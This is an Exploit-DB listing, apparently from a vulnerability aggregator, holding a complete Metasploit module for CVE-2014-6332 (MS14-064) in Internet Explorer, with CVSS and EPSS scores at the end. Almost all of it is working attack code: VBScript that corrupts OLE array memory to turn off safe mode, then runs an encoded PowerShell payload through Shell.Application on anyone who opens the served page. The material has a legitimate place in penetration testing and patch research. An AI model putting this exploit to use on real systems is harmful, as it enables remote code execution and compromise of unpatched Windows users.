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Microsoft Internet Explorer < 11 - OLE Automation Array Remote Code Execution (Metasploit)
🗓️ 13 Nov 2014 00:00:00Reported by Wesley Neelen & Rik van DuijnType 
exploitdb🔗 www.exploit-db.com👁 93 Views
10
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/powershell'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Powershell
def initialize(info={})
super(update_info(info,
'Name' => "Windows OLE Automation Array Remote Code Execution",
'Description' => %q{
This modules exploits the Windows OLE Automation Array Remote Code Execution Vulnerability.
Internet MS-14-064, CVE-2014-6332. The vulnerability exists in Internet Explorer 3.0 until version 11 within Windows95 up to Windows 10.
},
'License' => MSF_LICENSE,
'Author' =>
[
'IBM', # Discovery
'yuange <twitter.com/yuange75>', # PoC
'Rik van Duijn <twitter.com/rikvduijn>', #Metasploit
'Wesley Neelen <security[at]forsec.nl>' #Metasploit
],
'References' =>
[
[ 'CVE', '2014-6332' ]
],
'Payload' =>
{
'BadChars' => "\x00",
},
'DefaultOptions' =>
{
'EXITFUNC' => "none"
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ]
],
'Privileged' => false,
'DisclosureDate' => "November 12 2014",
'DefaultTarget' => 0))
end
def on_request_uri(cli, request)
payl = cmd_psh_payload(payload.encoded,"x86",{ :remove_comspec => true })
payl.slice! "powershell.exe "
html = <<-EOS
<!doctype html>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
<head>
</head>
<body>
<SCRIPT LANGUAGE="VBScript">
function trigger()
On Error Resume Next
set shell=createobject("Shell.Application")
shell.ShellExecute "powershell.exe", "#{payl}", "", "open", 1
end function
</script>
<SCRIPT LANGUAGE="VBScript">
dim aa()
dim ab()
dim a0
dim a1
dim a2
dim a3
dim win9x
dim intVersion
dim rnda
dim funclass
dim myarray
Begin()
function Begin()
On Error Resume Next
info=Navigator.UserAgent
if(instr(info,"Win64")>0) then
exit function
end if
if (instr(info,"MSIE")>0) then
intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
else
exit function
end if
win9x=0
BeginInit()
If Create()=True Then
myarray= chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)
if(intVersion<4) then
document.write("<br> IE")
document.write(intVersion)
runshellcode()
else
setnotsafemode()
end if
end if
end function
function BeginInit()
Randomize()
redim aa(5)
redim ab(5)
a0=13+17*rnd(6)
a3=7+3*rnd(5)
end function
function Create()
On Error Resume Next
dim i
Create=False
For i = 0 To 400
If Over()=True Then
' document.write(i)
Create=True
Exit For
End If
Next
end function
sub testaa()
end sub
function mydata()
On Error Resume Next
i=testaa
i=null
redim Preserve aa(a2)
ab(0)=0
aa(a1)=i
ab(0)=6.36598737437801E-314
aa(a1+2)=myarray
ab(2)=1.74088534731324E-310
mydata=aa(a1)
redim Preserve aa(a0)
end function
function setnotsafemode()
On Error Resume Next
i=mydata()
i=readmemo(i+8)
i=readmemo(i+16)
j=readmemo(i+&h134)
for k=0 to &h60 step 4
j=readmemo(i+&h120+k)
if(j=14) then
j=0
redim Preserve aa(a2)
aa(a1+2)(i+&h11c+k)=ab(4)
redim Preserve aa(a0)
j=0
j=readmemo(i+&h120+k)
Exit for
end if
next
ab(2)=1.69759663316747E-313
trigger()
end function
function Over()
On Error Resume Next
dim type1,type2,type3
Over=False
a0=a0+a3
a1=a0+2
a2=a0+&h8000000
redim Preserve aa(a0)
redim ab(a0)
redim Preserve aa(a2)
type1=1
ab(0)=1.123456789012345678901234567890
aa(a0)=10
If(IsObject(aa(a1-1)) = False) Then
if(intVersion<4) then
mem=cint(a0+1)*16
j=vartype(aa(a1-1))
if((j=mem+4) or (j*8=mem+8)) then
if(vartype(aa(a1-1))<>0) Then
If(IsObject(aa(a1)) = False ) Then
type1=VarType(aa(a1))
end if
end if
else
redim Preserve aa(a0)
exit function
end if
else
if(vartype(aa(a1-1))<>0) Then
If(IsObject(aa(a1)) = False ) Then
type1=VarType(aa(a1))
end if
end if
end if
end if
If(type1=&h2f66) Then
Over=True
End If
If(type1=&hB9AD) Then
Over=True
win9x=1
End If
redim Preserve aa(a0)
end function
function ReadMemo(add)
On Error Resume Next
redim Preserve aa(a2)
ab(0)=0
aa(a1)=add+4
ab(0)=1.69759663316747E-313
ReadMemo=lenb(aa(a1))
ab(0)=0
redim Preserve aa(a0)
end function
</script>
</body>
</html>
EOS
print_status("Sending html")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
endData
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13 Nov 2014 00:00Current
8.7High risk
Vulners AI Score8.7
CVSS 29.3
CVSS 3.18.8
EPSS0.94094
SSVC